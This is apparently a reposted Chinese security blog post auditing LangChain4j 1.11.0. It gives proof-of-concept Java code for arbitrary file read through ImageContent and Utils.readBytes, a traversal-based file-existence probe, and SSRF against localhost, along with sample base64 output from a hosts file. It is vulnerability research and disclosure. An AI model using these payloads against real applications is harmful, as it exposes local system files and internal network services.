文章总结: 文档对LangChain4j1.11.0框架进行代码审计,发现三处安全漏洞:ImageContent类extractBase64Content函数存在任意文件读取漏洞,可读取系统敏感文件;CustomMimeTypesFileTypeDetector存在目录穿越但仅能探测文件存在性;Utils.readBytes函数存在任意文件读取和SSRF漏洞,可访问本地文件或内网资源。作者提供了完整的POC代码验证漏洞。 综合评分: 65 文章分类: 代码审计,漏洞分析,WEB安全,应用安全,安全工具
langchain4j 1.11.0框架简单审计
原创
ap0s ap0s
ap0s
2026年2月20日 00:04 安徽
在小说阅读器读本章
去阅读
langchain4j 1.11.0框架代码审计
水文一篇,酌情观看,没找到能反序列化的点,项目中除了jackson其他好像没有地方调用反序列化
简介
LangChain4j 的目标是简化将 LLM 集成到 Java 应用程序中的过程。
环境
<dependency>
<groupId>dev.langchain4j</groupId>
<artifactId>langchain4j-open-ai</artifactId>
<version>1.11.0</version>
</dependency>
任意文件读取
在dev.langchain4j.data.message中多处调用extractBase64Content函数,跟进
可见读取任意文件进行编码返回
package org.example;
import dev.langchain4j.data.message.ImageContent;
import dev.langchain4j.data.message.Content;
import dev.langchain4j.data.message.TextContent;
import dev.langchain4j.data.image.Image;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.nio.file.Files;
import java.util.Base64;
public class Main {
public static void main(String[] args) {
try {
Path filePath = Paths.get("C:\\Windows\\System32\\drivers\\etc\\hosts");
ImageContent imageContent = ImageContent.from(filePath, "text/plain");
System.out.println(imageContent);
}catch (Exception e){
e.printStackTrace();
}
}
}
ImageContent { image = Image { url = null, base64Data = "IyBDb3B5cmlnaHQgKGMpIDE5OTMtMjAwOSBNaWNyb3NvZnQgQ29ycC4NCiMNCiMgVGhpcyBpcyBhIHNhbXBsZSBIT1NUUyBmaWxlIHVzZWQgYnkgTWljcm9zb2Z0IFRDUC9JUCBmb3IgV2luZG93cy4NCiMNCiMgVGhpcyBmaWxlIGNvbnRhaW5zIHRoZSBtYXBwaW5ncyBvZiBJUCBhZGRyZXNzZXMgdG8gaG9zdCBuYW1lcy4gRWFjaA0KIyBlbnRyeSBzaG91bGQgYmUga2VwdCBvbiBhbiBpbmRpdmlkdWFsIGxpbmUuIFRoZSBJUCBhZGRyZXNzIHNob3VsZA0KIyBiZSBwbGFjZWQgaW4gdGhlIGZpcnN0IGNvbHVtbiBmb2xsb3dlZCBieSB0aGUgY29ycmVzcG9uZGluZyBob3N0IG5hbWUuDQojIFRoZSBJUCBhZGRyZXNzIGFuZCB0aGUgaG9zdCBuYW1lIHNob3VsZCBiZSBzZXBhcmF0ZWQgYnkgYXQgbGVhc3Qgb25lDQojIHNwYWNlLg0KIw0KIyBBZGRpdGlvbmFsbHksIGNvbW1lbnRzIChzdWNoIGFzIHRoZXNlKSBtYXkgYmUgaW5zZXJ0ZWQgb24gaW5kaXZpZHVhbA0KIyBsaW5lcyBvciBmb2xsb3dpbmcgdGhlIG1hY2hpbmUgbmFtZSBkZW5vdGVkIGJ5IGEgJyMnIHN5bWJvbC4NCiMNCiMgRm9yIGV4YW1wbGU6DQojDQojICAgICAgMTAyLjU0Ljk0Ljk3ICAgICByaGluby5hY21lLmNvbSAgICAgICAgICAjIHNvdXJjZSBzZXJ2ZXINCiMgICAgICAgMzguMjUuNjMuMTAgICAgIHguYWNtZS5jb20gICAgICAgICAgICAgICMgeCBjbGllbnQgaG9zdA0KDQojIGxvY2FsaG9zdCBuYW1lIHJlc29sdXRpb24gaXMgaGFuZGxlZCB3aXRoaW4gRE5TIGl0c2VsZi4NCiMJMTI3LjAuMC4xICAgICAgIGxvY2FsaG9zdA0KIwk6OjEgICAgICAgICAgICAgbG9jYWxob3N0DQowLjAuMC4wIGJyb3dzZXIucGlwZS5hcmlhLm1pY3Jvc29mdC5jb20NCjAuMC4wLjAgZG1kLm1ldGFzZXJ2aWNlcy5taWNyb3NvZnQuY29tDQowLjAuMC4wIHJpcy5hcGkuaXJpcy5taWNyb3NvZnQuY29tDQowLjAuMC4wIHRlYW1zLmV2ZW50cy5kYXRhLm1pY3Jvc29mdC5jb20NCjAuMC4wLjAgdGVsZWNvbW1hbmQudGVsZW1ldHJ5Lm1pY3Jvc29mdC5jb20NCjAuMC4wLjAgdGVsZW1ldHJ5Lm1pY3Jvc29mdC5jb20NCjAuMC4wLjAgdm9ydGV4LXdpbi5kYXRhLm1pY3Jvc29mdC5jb20NCjAuMC4wLjAgd2F0c29uLmV2ZW50cy5kYXRhLm1pY3Jvc29mdC5jb20NCjAuMC4wLjAgYWN0aXZpdHkud2luZG93cy5jb20NCjAuMC4wLjAgYnJvd3Nlci5ldmVudHMuZGF0YS5taWNyb3NvZnQuY29tDQowLjAuMC4wIG91dGxvb2thZHMubGl2ZS5jb20NCg0KIyBXaW5kb3dzIEVycm9yIFJlcG9ydGluZw0KIyBodHRwczovL2xlYXJuLm1pY3Jvc29mdC5jb20vZW4tdXMvdHJvdWJsZXNob290L3dpbmRvd3MtY2xpZW50L3N5c3RlbS1tYW5hZ2VtZW50LWNvbXBvbmVudHMvd2luZG93cy1lcnJvci1yZXBvcnRpbmctZGlhZ25vc3RpY3MtZW5hYmxlbWVudC1ndWlkYW5jZSNjb25maWd1cmUtbmV0d29yay1lbmRwb2ludHMtdG8tYmUtYWxsb3dlZA0KMC4wLjAuMCB3YXRzb24ubWljcm9zb2Z0LmNvbQ0KMC4wLjAuMCB3YXRzb24udGVsZW1ldHJ5Lm1pY3Jvc29mdC5jb20NCjAuMC4wLjAgdW13YXRzb25jLmV2ZW50cy5kYXRhLm1pY3Jvc29mdC5jb20NCjAuMC4wLjAgY2V1c3dhdGNhYjAxLmJsb2IuY29yZS53aW5kb3dzLm5ldA0KMC4wLjAuMCBjZXVzd2F0Y2FiMDIuYmxvYi5jb3JlLndpbmRvd3MubmV0DQowLjAuMC4wIGVhdXMyd2F0Y2FiMDEuYmxvYi5jb3JlLndpbmRvd3MubmV0DQowLjAuMC4wIGVhdXMyd2F0Y2FiMDIuYmxvYi5jb3JlLndpbmRvd3MubmV0DQowLjAuMC4wIHdldXMyd2F0Y2FiMDEuYmxvYi5jb3JlLndpbmRvd3MubmV0DQowLjAuMC4wIHdldXMyd2F0Y2FiMDIuYmxvYi5jb3JlLndpbmRvd3MubmV0DQoNCiMgRGlhZ1RyYWNrL1RlbGVtZXRyeQ0KMC4wLjAuMCBldmVudHMuZGF0YS5taWNyb3NvZnQuY29tDQowLjAuMC4wIGV1LXYyMC5ldmVudHMuZGF0YS5taWNyb3NvZnQuY29tDQowLjAuMC4wIGF1LXYyMC5ldmVudHMuZGF0YS5taWNyb3NvZnQuY29tDQowLjAuMC4wIHVrLXYyMC5ldmVudHMuZGF0YS5taWNyb3NvZnQuY29tDQowLjAuMC4wIHYxMC5ldmVudHMuZGF0YS5taWNyb3NvZnQuY29tDQowLjAuMC4wIHVzLXYyMC5ldmVudHMuZGF0YS5taWNyb3NvZnQuY29tDQowLjAuMC4wIHYyMC5ldmVudHMuZGF0YS5taWNyb3NvZnQuY29tDQowLjAuMC4wIGV2ZW50cy1zYW5kYm94LmRhdGEubWljcm9zb2Z0LmNvbQ0KMC4wLjAuMCBwaXBlLmRldi50cmFmZmljbWFuYWdlci5uZXQNCjAuMC4wLjAgdjEwYy5ldmVudHMuZGF0YS5taWNyb3NvZnQuY29tDQowLjAuMC4wIHYxMC52b3J0ZXgtd2luLmRhdGEubWljcm9zb2Z0LmNvbQ0KDQojIEJyYXZlDQowLjAuMC4wIHAzYS5icmF2ZS5jb20NCjAuMC4wLjAgcDJhLmJyYXZlLmNvbQ0KMC4wLjAuMCBwM2EtanNvbi5icmF2ZS5jb20NCjAuMC4wLjAgcDJhLWpzb24uYnJhdmUuY29tDQojIDAuMC4wLjAgbGFwdG9wLXVwZGF0ZXMuYnJhdmUuY29tDQojIDAuMC4wLjAgdmFyaWF0aW9ucy5icmF2ZS5jb20NCjAuMC4wLjAgY3IuYnJhdmUuY29tDQowLjAuMC4wIHN0YXItcmFuZHNydi5ic2cuYnJhdmUuY29tDQoNCiMgVmlzdWFsIFN0dWRpbyAvIFZTQ29kZQ0KMC4wLjAuMCB2b3J0ZXguZGF0YS5taWNyb3NvZnQuY29tDQowLjAuMC4wIGRjLnNlcnZpY2VzLnZpc3VhbHN0dWRpby5jb20NCjAuMC4wLjAgdmlzdWFsc3R1ZGlvLWRldmRpdi1jMnMubXNlZGdlLm5ldA0KMC4wLjAuMCBhejY2NzkwNC52by5tc2VjbmQubmV0DQowLjAuMC4wIHNjdXMtYnJlZXppZXN0LWluLmNsb3VkYXBwLm5ldA0KMC4wLjAuMCBudy11bXdhdHNvbi5ldmVudHMuZGF0YS5taWNyb3NvZnQuY29tDQowLjAuMC4wIG1vYmlsZS5ldmVudHMuZGF0YS5taWNyb3NvZnQuY29tDQowLjAuMC4wICAgICAgICAgLnBzZg0KMC4wLjAuMCAgICAgICAgIE1hYw0KMC4wLjAuMCAgICAgICAgIHBzZg0K", mimeType = "text/plain", revisedPrompt = null } detailLevel = LOW }
目录穿越
在dev.langchain4j.internal中probeContentType函数中
这里并不能直接读取文件内容,只能判断文件存不存在
POC:
package org.example;
import dev.langchain4j.internal.CustomMimeTypesFileTypeDetector;
import java.net.URI;
public class Main {
public static void main(String[] args) throws Exception {
CustomMimeTypesFileTypeDetector detector = new CustomMimeTypesFileTypeDetector();
URI uri = URI.create("file:///../../secret.txt");
String result = detector.probeContentType(uri);
System.out.println(result);
}
}
任意文件读取
dev.langchain4j.internal``readBytes函数中直接调用会进行任意文件读取
POC:
package org.example;
import dev.langchain4j.internal.Utils;
public class Main {
public static void main(String[] args) {
try {
String fileUrl = "file:///../../../windows/win.ini";
byte[] content = Utils.readBytes(fileUrl);
System.out.println(new String(content));
} catch (Exception e) {
System.err.println(e.getMessage());
}
}
}
SSRF
dev.langchain4j.internal``readBytes函数中直接调用拼接http头
POC:
package org.example;
import dev.langchain4j.internal.Utils;
public class Main {
public static void main(String[] args) {
try {
String fileUrl = "http://127.0.0.1:8000";
System.out.println("[*] 尝试读取: " + fileUrl);
byte[] content = Utils.readBytes(fileUrl);
System.out.println(new String(content));
} catch (Exception e) {
System.err.println("[-] 错误: " + e.getMessage());
}
}
}
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:ap0s ap0s ap0s《langchain4j 1.11.0框架简单审计》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论